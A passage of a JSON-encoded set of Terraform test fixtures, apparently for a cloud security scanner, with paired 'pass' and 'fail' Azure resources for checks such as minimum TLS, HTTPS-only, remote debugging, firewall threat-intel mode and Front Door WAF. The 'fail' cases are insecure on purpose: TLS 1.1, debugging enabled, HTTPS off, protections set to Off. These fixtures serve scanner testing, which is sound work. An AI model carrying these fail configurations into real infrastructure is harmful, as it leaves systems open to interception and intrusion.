    "content": "\nresource \"azurerm_app_service\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  site_config {\n    min_tls_version = \"1.1\"\n    }\n  }\n\nresource \"azurerm_app_service\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  site_config {\n    health_check_path = \"/somepath/\"\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  https_only = true\n  site_config {\n    http2_enabled = true\n    health_check_path = \"/somepath/\"\n  }\n  identity {\n    type = \"SystemAssigned\"\n\n    }\n  site_config {\n    minimum_tls_version = \"1.2\"\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    http2_enabled = false\n    minimum_tls_version = \"1.1\"\n  }\n\n\n}\n\nresource \"azurerm_windows_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  https_only = true\n  site_config {\n    http2_enabled = true\n    minimum_tls_version = \"1.2\"\n    health_check_path = \"/somepath/\"\n  }\n  identity {\n    type = \"SystemAssigned\"\n    }\n}\n\nresource \"azurerm_windows_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    http2_enabled = false\n    minimum_tls_version = \"1.1\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceSkuMinimum/main.tf",
    "content": "resource \"azurerm_service_plan\" \"pass\" {\n  name                = \"example-plan\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  os_type             = \"Windows\"\n  sku_name            = \"S1\"\n}\n\nresource \"azurerm_service_plan\" \"fail\" {\n  name                = \"example-plan\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  os_type             = \"Windows\"\n  sku_name            = \"B1\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceSlotDebugDisabled/main.tf",
    "content": "resource \"azurerm_app_service_slot\" \"fail\" {\n  name                = \"brian\"\n  app_service_name    = azurerm_app_service.example.name\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  https_only = false #thedefault\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    min_tls_version          = \"1.1\"\n    remote_debugging_enabled = true\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\n#default\nresource \"azurerm_app_service_slot\" \"pass\" {\n  name                = \"fred\"\n  app_service_name    = azurerm_app_service.example.name\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  https_only = false #thedefault\n\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_app_service_slot\" \"pass2\" {\n  name                = \"ted\"\n  app_service_name    = azurerm_app_service.example.name\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  https_only = false #thedefault\n\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    min_tls_version          = \"1.2\" #the default is 1.2\n    remote_debugging_enabled = false #default is false\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\n\n\nresource \"azurerm_resource_group\" \"example\" {\n  name     = \"example\"\n  location = \"uksouth\"\n}\n\nresource \"azurerm_app_service_plan\" \"example\" {\n  sku {\n    tier = \"free\"\n    size = \"small\"\n  }\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  name                = \"example\"\n}\n\nresource \"azurerm_app_service\" \"example\" {\n  name                = \"simon\"\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n}\n\n\nprovider \"azurerm\" {\n  features {}\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceSlotHTTPSOnly/main.tf",
    "content": "\nresource \"azurerm_app_service_slot\" \"fail\" {\n  name                = random_id.server.hex\n  app_service_name    = azurerm_app_service.example.name\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  https_only               = false #thedefault\n  min_tls_version          = \"1.1\" #the default is 1.2\n  remote_debugging_enabled = true  #default is false\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\n\nresource \"azurerm_linux_web_app_slot\" \"fail\" {\n  name           = \"fail-slot\"\n  app_service_id = azurerm_linux_web_app.fail.id\n  https_only     = false\n\n  site_config {}\n}\n\nresource \"azurerm_windows_web_app_slot\" \"fail\" {\n  name           = \"fail-slot\"\n  app_service_id = azurerm_windows_web_app.fail.id\n  https_only     = false\n  \n  site_config {}\n}\n\n\nresource \"azurerm_app_service_slot\" \"fail2\" {\n  name                = random_id.server.hex\n  app_service_name    = azurerm_app_service.example.name\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  #  https_only = false #thedefault\n  min_tls_version          = \"1.1\" #the default is 1.2\n  remote_debugging_enabled = true  #default is false\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_app_service_slot\" \"pass\" {\n  name                = random_id.server.hex\n  app_service_name    = azurerm_app_service.example.name\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  https_only               = true  #thedefault\n  min_tls_version          = \"1.1\" #the default is 1.2\n  remote_debugging_enabled = true  #default is false\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_linux_web_app_slot\" \"pass\" {\n  name           = \"pass-slot\"\n  app_service_id = azurerm_linux_web_app.pass.id\n  https_only     = true\n\n  site_config {}\n}\n\nresource \"azurerm_windows_web_app_slot\" \"pass\" {\n  name           = \"pass-slot\"\n  app_service_id = azurerm_windows_web_app.pass.id\n  https_only     = true\n  \n  site_config {}\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceSlotMinTLS/main.tf",
    "content": "resource \"azurerm_app_service_slot\" \"fail\" {\n  name                = \"brian\"\n  app_service_name    = azurerm_app_service.example.name\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  https_only = false #thedefault\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    min_tls_version          = \"1.1\"\n    remote_debugging_enabled = true\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\n#default\nresource \"azurerm_app_service_slot\" \"pass\" {\n  name                = \"fred\"\n  app_service_name    = azurerm_app_service.example.name\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  https_only = false #thedefault\n\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    remote_debugging_enabled = true #default is false\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_app_service_slot\" \"pass2\" {\n  name                = \"ted\"\n  app_service_name    = azurerm_app_service.example.name\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  https_only = false #thedefault\n\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    min_tls_version          = \"1.2\" #the default is 1.2\n    remote_debugging_enabled = true  #default is false\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_app_service_slot\" \"pass3\" {\n  name                = \"ned\"\n  app_service_name    = azurerm_app_service.example.name\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  https_only = false #thedefault\n\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    min_tls_version          = \"1.3\" #the default is 1.2\n    remote_debugging_enabled = true  #default is false\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_resource_group\" \"example\" {\n  name     = \"example\"\n  location = \"uksouth\"\n}\n\nresource \"azurerm_app_service_plan\" \"example\" {\n  sku {\n    tier = \"free\"\n    size = \"small\"\n  }\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  name                = \"example\"\n}\n\nresource \"azurerm_app_service\" \"example\" {\n  name                = \"simon\"\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n}\n\n\nprovider \"azurerm\" {\n  features {}\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceUsedAzureFiles/main.tf",
    "content": "\nresource \"azurerm_app_service\" \"fail2\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  storage_account {\n    name         = \"test_name\"\n    type         = \"AzureBlob\"\n    account_name = \"test_account_name\"\n    share_name   = \"test_share_name\"\n    access_key   = \"test_access_key\"\n  }\n}\n\nresource \"azurerm_app_service\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  storage_account {\n    name         = \"test_name\"\n    type         = \"AzureFiles\"\n    account_name = \"test_account_name\"\n    share_name   = \"test_share_name\"\n    access_key   = \"test_access_key\"\n  }\n}\n\nresource \"azurerm_app_service\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    scm_type = \"someValue\"\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  https_only          = true\n  site_config {\n    http2_enabled = true\n  }\n  identity {\n    type = \"SystemAssigned\"\n\n  }\n  site_config {\n    minimum_tls_version = \"1.2\"\n  }\n  storage_account {\n    name         = \"test_name\"\n    type         = \"AzureFiles\"\n    account_name = \"test_account_name\"\n    share_name   = \"test_share_name\"\n    access_key   = \"test_access_key\"\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    http2_enabled       = false\n    minimum_tls_version = \"1.1\"\n  }\n\n\n}\n\nresource \"azurerm_windows_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  https_only          = true\n  site_config {\n    http2_enabled       = true\n    minimum_tls_version = \"1.2\"\n  }\n  identity {\n    type = \"SystemAssigned\"\n  }\n  storage_account {\n    name         = \"test_name\"\n    type         = \"AzureFiles\"\n    account_name = \"test_account_name\"\n    share_name   = \"test_share_name\"\n    access_key   = \"test_access_key\"\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    http2_enabled       = false\n    minimum_tls_version = \"1.1\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureBatchAccountEndpointAccessDefaultAction/main.tf",
    "content": "#pass\nresource \"azurerm_batch_account\" \"pass_no_publicNetworkAccess\" {\n  name                                = \"testbatchaccount\"\n  resource_group_name                 = \"group\"\n  location                            = \"azurerm_resource_group.example.location\"\n  pool_allocation_mode                = \"BatchService\"\n}\n\nresource \"azurerm_batch_account\" \"pass_publicNetworkAccess_disabled\" {\n  name                                = \"testbatchaccount\"\n  resource_group_name                 = \"group\"\n  location                            = \"azurerm_resource_group.example.location\"\n  pool_allocation_mode                = \"BatchService\"\n  public_network_access_enabled       = false\n}\n\nresource \"azurerm_batch_account\" \"pass_publicNetworkAccess_enabled_no_network_profile\" {\n  name                                = \"testbatchaccount\"\n  resource_group_name                 = \"group\"\n  location                            = \"azurerm_resource_group.example.location\"\n  pool_allocation_mode                = \"BatchService\"\n  public_network_access_enabled       = true\n}\n\nresource \"azurerm_batch_account\" \"pass_publicNetworkAccess_enabled_no_account_access\" {\n  name                                = \"testbatchaccount\"\n  resource_group_name                 = \"group\"\n  location                            = \"azurerm_resource_group.example.location\"\n  pool_allocation_mode                = \"BatchService\"\n  public_network_access_enabled       = true\n  network_profile {\n\n  }\n}\n\nresource \"azurerm_batch_account\" \"pass_publicNetworkAccess_enabled_default_action_deny\" {\n  name                                = \"testbatchaccount\"\n  resource_group_name                 = \"group\"\n  location                            = \"azurerm_resource_group.example.location\"\n  pool_allocation_mode                = \"BatchService\"\n  public_network_access_enabled       = true\n  network_profile {\n    account_access {\n      default_action = \"deny\"\n    }\n  }\n}\n\nresource \"azurerm_batch_account\" \"fail_publicNetworkAccess_enabled_default_action_allow\" {\n  name                                = \"testbatchaccount\"\n  resource_group_name                 = \"group\"\n  location                            = \"azurerm_resource_group.example.location\"\n  pool_allocation_mode                = \"BatchService\"\n  public_network_access_enabled       = true\n  network_profile {\n    account_access {\n      default_action = \"allow\"\n    }\n  }\n}\n\nresource \"azurerm_batch_account\" \"fail_bad_default_action_no_public_network\" {\n  name                                = \"testbatchaccount\"\n  resource_group_name                 = \"group\"\n  location                            = \"azurerm_resource_group.example.location\"\n  pool_allocation_mode                = \"BatchService\"\n  network_profile {\n    account_access {\n      default_action = \"allow\"\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureContainerGroupDeployedIntoVirtualNetwork/main.tf",
    "content": "\n           resource \"azurerm_container_group\" \"fail\" {\n              name                = \"example-continst\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n              ip_address_type     = \"public\"\n              dns_name_label      = \"aci-label\"\n              os_type             = \"Linux\"\n\n              container {\n                name   = \"hello-world\"\n                image  = \"microsoft/aci-helloworld:latest\"\n                cpu    = \"0.5\"\n                memory = \"1.5\"\n\n                ports {\n                  port     = 443\n                  protocol = \"TCP\"\n                }\n              }\n\n              container {\n                name   = \"sidecar\"\n                image  = \"microsoft/aci-tutorial-sidecar\"\n                cpu    = \"0.5\"\n                memory = \"1.5\"\n              }\n            }\n\n        resource \"azurerm_container_group\" \"pass\" {\n              name                = \"example-continst\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n              ip_address_type     = \"public\"\n              dns_name_label      = \"aci-label\"\n              os_type             = \"Linux\"\n\n              container {\n                name   = \"hello-world\"\n                image  = \"microsoft/aci-helloworld:latest\"\n                cpu    = \"0.5\"\n                memory = \"1.5\"\n\n                ports {\n                  port     = 443\n                  protocol = \"TCP\"\n                }\n              }\n\n              container {\n                name   = \"sidecar\"\n                image  = \"microsoft/aci-tutorial-sidecar\"\n                cpu    = \"0.5\"\n                memory = \"1.5\"\n              }\n\n              subnet_ids=[module.subnets[\"snet_aci\"].id]\n            }\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureContainerInstanceEnvVarSecureValueType/main.tf",
    "content": "# Variables declaration:\n\nvariable \"pud_default_var\" {\n  default = \"pud_default_value\"\n}\n\nresource \"random_string\" \"pud-random-str\" {\n  length           = 10\n  special          = false\n  numeric = false\n}\n\n# Case 1: Pass: 'secure_environment_variables' exists in 'container' block and just 'environment_variables' doesn't exist\n\nresource \"azurerm_container_group\" \"pass_1\" {\n  name                = \"pud_pass_1_container\"\n  location            = var.pud_default_var\n  resource_group_name = var.pud_default_var\n  ip_address_type     = \"Public\"\n  dns_name_label      = \"aci-label\"\n  os_type             = \"Linux\"\n\n  container {\n    name   = \"hello-world\"\n    image  = \"mcr.microsoft.com/azuredocs/aci-helloworld:latest\"\n    cpu    = \"0.5\"\n    memory = \"1.5\"\n\n    ports {\n      port     = 443\n      protocol = \"TCP\"\n    }\n  }\n\n  container {\n    name   = \"een_le_pa\"\n    image  = \"mcr.microsoft.com/azuredocs/aci-tutorial-sidecar\"\n    cpu    = \"0.5\"\n    memory = \"1.5\"\n\n    secure_environment_variables = {\n      SEC_CONT_PASS_1 = random_string.pud-random-str\n    }\n  }\n}\n\n# case 2: Pass: No environment variables exists\n\nresource \"azurerm_container_group\" \"pass_2\" {\n  name                = \"pud_pass_2_container\"\n  location            = \"westus2\"\n  resource_group_name = var.pud_default_var\n  os_type             = \"Linux\"\n\n  init_container {\n    name   = \"init-container\"\n    image  = \"init-image:latest\"\n    cpu    = 0.5\n    memory = 512\n\n  }\n}\n\n# Case 3: Fail: 'environment_variables' exists in 'init_container' block\n\nresource \"azurerm_container_group\" \"fail_1\" {\n  name                = \"pud_fail_1_container\"\n  location            = \"westus2\"\n  resource_group_name = var.pud_default_var\n  os_type             = \"Linux\"\n\n  init_container {\n    name   = \"init-container\"\n    image  = \"init-image:latest\"\n    cpu    = 0.5\n    memory = 512\n\n\n    environment_variables = {\n      ENV_INIT_FAIL_1 = random_string.pud-random-str\n    }\n\n    secure_environment_variables = {\n      SEC_INIT_FAIL_1 = random_string.pud-random-str\n    }\n  }\n}\n\n# Case 4: Fail: 'environment_variables' exists in 'container' block\n\nresource \"azurerm_container_group\" \"fail_2\" {\n  name                 = \"pud_pass_2_container\"\n  location              = \"westus2\"\n  resource_group_name    = var.pud_default_var\n  os_type              = \"Linux\"\n\n  init_container {\n    name                  = \"pud-init-container\"\n    image                 = \"init-image:latest\"\n    cpu                    = 0.5\n    memory                = 512\n\n    secure_environment_variables = {\n      SEC_INIT_FAIL_2               = random_string.pud-random-str\n    }\n  }\n\n  container {\n    name                  = \"pud-container\"\n    image                 = \"my-image:latest\"\n    cpu                    = 1\n    memory                = 1024\n\n    ports {\n      port                  = 80\n      protocol              = \"TCP\"\n    }\n\n    environment_variables = {\n      ENV_CONT_FAIL_2             = random_string.pud-random-str\n    }\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureContainerInstancePublicIPAddressType/main.tf",
    "content": "# Fail: public IP address type\nresource \"azurerm_container_group\" \"fail_public\" {\n  name                = \"example-continst\"\n  ip_address_type     = \"Public\"\n}\n\n# Fail: IP address type not set\nresource \"azurerm_container_group\" \"fail_notset\" {\n  name                = \"example-continst\"\n}\n\n# Pass: IP address type not public\nresource \"azurerm_container_group\" \"pass\" {\n  name                = \"example-continst\"\n  ip_address_type     = \"Private\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureDefenderDisabledForResManager/main.tf",
    "content": "\n# Case 1: Pass: tier is Standard and resource_type is Arm\n\nresource \"azurerm_security_center_subscription_pricing\" \"pass_1\" {\n  tier          = \"Standard\"\n  resource_type = \"Arm\"\n}\n\n# Case 2: Fails as \"tier\" should be \"Standard\"\n\nresource \"azurerm_security_center_subscription_pricing\" \"fail_1\" {\n  tier          = \"Free\"\n  resource_type = \"arm\"\n}\n\n# Case 3: Pass as policy should only check if the resource_type is \"Arm\"\n\nresource \"azurerm_security_center_subscription_pricing\" \"pass_2\" {\n  tier          = \"Free\"\n  resource_type = \"Dns\"\n}\n\n# Case 4: Pass as policy should only check if the resource_type is \"Arm\"\n\nresource \"azurerm_security_center_subscription_pricing\" \"pass_3\" {\n  tier          = \"Free\"\n  resource_type = \"VirtualMachine\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureFirewallDefinesPolicy/main.tf",
    "content": "resource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_virtual_network\" \"example\" {\n  name                = \"testvnet\"\n  address_space       = [\"10.0.0.0/16\"]\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n}\n\nresource \"azurerm_subnet\" \"example\" {\n  name                 = \"AzureFirewallSubnet\"\n  resource_group_name  = azurerm_resource_group.example.name\n  virtual_network_name = azurerm_virtual_network.example.name\n  address_prefixes     = [\"10.0.1.0/24\"]\n}\n\nresource \"azurerm_public_ip\" \"example\" {\n  name                = \"testpip\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  allocation_method   = \"Static\"\n  sku                 = \"Standard\"\n}\n\nresource \"azurerm_firewall\" \"fail\" {\n  name                = \"fail\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku_name            = \"AZFW_VNet\"\n  sku_tier            = \"Standard\"\n\n  ip_configuration {\n    name                 = \"configuration\"\n    subnet_id            = azurerm_subnet.example.id\n    public_ip_address_id = azurerm_public_ip.example.id\n  }\n}\n\nresource \"azurerm_firewall\" \"pass\" {\n  name                = \"pass\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku_name            = \"AZFW_VNet\"\n  sku_tier            = \"Standard\"\n\n  ip_configuration {\n    name                 = \"configuration\"\n    subnet_id            = azurerm_subnet.example.id\n    public_ip_address_id = azurerm_public_ip.example.id\n  }\n  firewall_policy_id = \"SomethingInhere\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureFirewallDenyThreatIntelMode/main.tf",
    "content": "resource \"azurerm_resource_group\" \"example\" {\n  name     = \"CKV_AZURE_216\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_virtual_network\" \"example\" {\n  name                = \"testvnet\"\n  address_space       = [\"10.0.0.0/16\"]\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n}\n\nresource \"azurerm_subnet\" \"example\" {\n  name                 = \"AzureFirewallSubnet\"\n  resource_group_name  = azurerm_resource_group.example.name\n  virtual_network_name = azurerm_virtual_network.example.name\n  address_prefixes     = [\"10.0.1.0/24\"]\n}\n\nresource \"azurerm_public_ip\" \"example\" {\n  name                = \"testpip\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  allocation_method   = \"Static\"\n  sku                 = \"Standard\"\n}\n\nresource \"azurerm_firewall\" \"fail\" {\n  name                = \"fail\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku_name            = \"AZFW_VNet\"\n  sku_tier            = \"Standard\"\n\n  ip_configuration {\n    name                 = \"configuration\"\n    subnet_id            = azurerm_subnet.example.id\n    public_ip_address_id = azurerm_public_ip.example.id\n  }\n}\n\nresource \"azurerm_firewall\" \"fail2\" {\n  name                = \"fail2\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku_name            = \"AZFW_VNet\"\n  sku_tier            = \"Standard\"\n  threat_intel_mode = \"Off\"\n\n  ip_configuration {\n    name                 = \"configuration\"\n    subnet_id            = azurerm_subnet.example.id\n    public_ip_address_id = azurerm_public_ip.example.id\n  }\n}\n\nresource \"azurerm_firewall\" \"pass\" {\n  name                = \"pass\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  sku_name            = \"AZFW_VNet\"\n  sku_tier            = \"Standard\"\n  threat_intel_mode = \"Deny\"\n\n  ip_configuration {\n    name                 = \"configuration\"\n    subnet_id            = azurerm_subnet.example.id\n    public_ip_address_id = azurerm_public_ip.example.id\n  }\n}\n\nprovider \"azurerm\" {\n  features {}\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureFirewallPolicyIDPSDeny/main.tf",
    "content": "resource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_firewall_policy\" \"fail\" {\n  name                = \"fail\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n}\n\n\nresource \"azurerm_firewall_policy\" \"fail2\" {\n  name                = \"fail2\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  intrusion_detection {\n    mode = \"Off\"\n  }\n}\n\nresource \"azurerm_firewall_policy\" \"pass\" {\n  name                = \"pass\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  intrusion_detection {\n    mode = \"Deny\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AzureFrontDoorEnablesWAF/main.tf",
    "content": "resource \"azurerm_frontdoor\" \"pass\" {\n  name                = \"example-FrontDoor\"\n  resource_group_name = azurerm_resource_group.example.name\n\n  routing_rule {\n    name               = \"exampleRoutingRule1\"\n    accepted_protocols = [\"Http\", \"Https\"]\n    patterns_to_match  = [\"/*\"]\n    frontend_endpoints = [\"exampleFrontendEndpoint1\"]\n    forwarding_configuration {\n      forwarding_protocol = \"MatchRequest\"\n      backend_pool_name   = \"exampleBackendBing\"\n    }\n  }\n\n  backend_pool_load_balancing {\n    name = \"exampleLoadBalancingSettings1\"\n  }\n\n  backend_pool_health_probe {\n    name = \"exampleHealthProbeSetting1\"\n  }\n\n  backend_pool {\n    name = \"exampleBackendBing\"\n    backend {\n      host_header = \"www.bing.com\"\n      address     = \"www.bing.com\"\n      http_port   = 80\n      https_port  = 443\n    }\n\n    load_balancing_name = \"exampleLoadBalancingSettings1\"\n    health_probe_name   = \"exampleHealthProbeSetting1\"\n  }\n\n  frontend_endpoint {\n    name                                    = \"exampleFrontendEndpoint1\"\n    host_name                               = \"example-FrontDoor.azurefd.net\"\n    web_application_firewall_policy_link_id = azurerm_frontdoor_firewall_policy.test.id\n  }\n}\n\nresource \"azurerm_frontdoor\" \"fail\" {\n  name                = \"example-FrontDoor\"\n  resource_group_name = azurerm_resource_group.example.name\n\n  routing_rule {\n    name               = \"exampleRoutingRule1\"\n    accepted_protocols = [\"Http\", \"Https\"]\n    patterns_to_match  = [\"/*\"]\n    frontend_endpoints = [\"exampleFrontendEndpoint1\"]\n    forwarding_configuration {\n      forwarding_protocol = \"MatchRequest\"\n      backend_pool_name   = \"exampleBackendBing\"\n    }\n  }\n\n  backend_pool_load_balancing {\n    name = \"exampleLoadBalancingSettings1\"\n  }\n\n  backend_pool_health_probe {\n    name = \"exampleHealthProbeSetting1\"\n  }\n\n  backend_pool {\n    name = \"exampleBackendBing\"\n    backend {\n      host_header = \"www.bing.com\"\n      address     = \"www.bing.com\"\n      http_port   = 80\n      https_port  = 443\n    }\n\n    load_balancing_name = \"exampleLoadBalancingSettings1\"\n    health_probe_name   = \"exampleHealthProbeSetting1\"\n  }\n\n  frontend_endpoint {\n    name      = \"exampleFrontendEndpoint1\"\n    host_name = \"example-FrontDoor.azurefd.net\"\n  }\n}"
  },
  {
